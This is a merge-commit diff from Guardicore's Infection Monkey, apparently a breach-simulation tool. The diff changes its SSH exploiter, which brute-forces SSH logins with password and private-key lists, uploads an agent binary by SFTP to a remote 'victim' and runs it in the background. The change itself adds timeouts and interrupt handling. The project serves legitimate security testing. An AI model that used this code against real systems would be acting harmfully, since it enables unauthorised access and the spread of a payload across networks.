Merge pull request #1789 from guardicore/1611-interruptable-ssh-exploit

1611 interruptable ssh exploit
This commit is contained in:
Mike Salvatore 2022-03-21 14:09:00 -04:00 committed by GitHub
commit f3fddfb4ba
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 62 additions and 14 deletions

View File

@ -1,9 +1,9 @@
import io
import logging
import time
import paramiko
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit.HostExploiter import HostExploiter
@ -14,9 +14,16 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.threading import interruptable_iter
from infection_monkey.utils.timer import Timer
logger = logging.getLogger(__name__)
SSH_PORT = 22
SSH_CONNECT_TIMEOUT = LONG_REQUEST_TIMEOUT
SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT
SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
TRANSFER_UPDATE_RATE = 15
@ -26,13 +33,14 @@ class SSHExploiter(HostExploiter):
def __init__(self):
super(SSHExploiter, self).__init__()
self._update_timestamp = 0
def log_transfer(self, transferred, total):
# TODO: Replace with infection_monkey.utils.timer.Timer
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
timer = Timer()
timer.set(TRANSFER_UPDATE_RATE)
if timer.is_expired():
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time()
timer.reset()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs(
@ -40,7 +48,14 @@ class SSHExploiter(HostExploiter):
secrets=self.options["credentials"]["exploit_ssh_keys"],
)
for user, ssh_key_pair in user_ssh_key_pairs:
ssh_key_pairs_iterator = interruptable_iter(
user_ssh_key_pairs,
self.interrupt,
"SSH exploiter has been interrupted",
logging.INFO,
)
for user, ssh_key_pair in ssh_key_pairs_iterator:
# Creating file-like private key for paramiko
pkey = io.StringIO(ssh_key_pair["private_key"])
ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"])
@ -52,10 +67,20 @@ class SSHExploiter(HostExploiter):
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
logger.error("Failed reading ssh key")
try:
ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port)
ssh.connect(
self.host.ip_addr,
username=user,
pkey=pkey,
port=port,
timeout=SSH_CONNECT_TIMEOUT,
auth_timeout=SSH_AUTH_TIMEOUT,
banner_timeout=SSH_BANNER_TIMEOUT,
)
logger.debug(
"Successfully logged in %s using %s users private key", self.host, ssh_string
)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh
except Exception:
@ -73,15 +98,31 @@ class SSHExploiter(HostExploiter):
secrets=self.options["credentials"]["exploit_password_list"],
)
for user, current_password in user_password_pairs:
credentials_iterator = interruptable_iter(
user_password_pairs,
self.interrupt,
"SSH exploiter has been interrupted",
logging.INFO,
)
for user, current_password in credentials_iterator:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
ssh.connect(
self.host.ip_addr,
username=user,
password=current_password,
port=port,
timeout=SSH_CONNECT_TIMEOUT,
auth_timeout=SSH_AUTH_TIMEOUT,
banner_timeout=SSH_BANNER_TIMEOUT,
)
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self.report_login_attempt(True, user, current_password)
return ssh
@ -114,19 +155,21 @@ class SSHExploiter(HostExploiter):
try:
ssh = self.exploit_with_ssh_keys(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
self.exploit_result.exploitation_success = True
except FailedExploitationError:
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
if not self.host.os.get("type"):
try:
_, stdout, _ = ssh.exec_command("uname -o")
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.exploit_result.os = "linux"
@ -154,9 +197,14 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
try:
# open_sftp can block up to an hour if a machine is killed
# after a connection
with ssh.open_sftp() as ftp:
self._update_timestamp = time.time()
ftp.putfo(
agent_binary_file_object,
self.options["dropper_target_path_linux"],
@ -188,7 +236,7 @@ class SSHExploiter(HostExploiter):
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, self.current_depth - 1)
cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline)
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",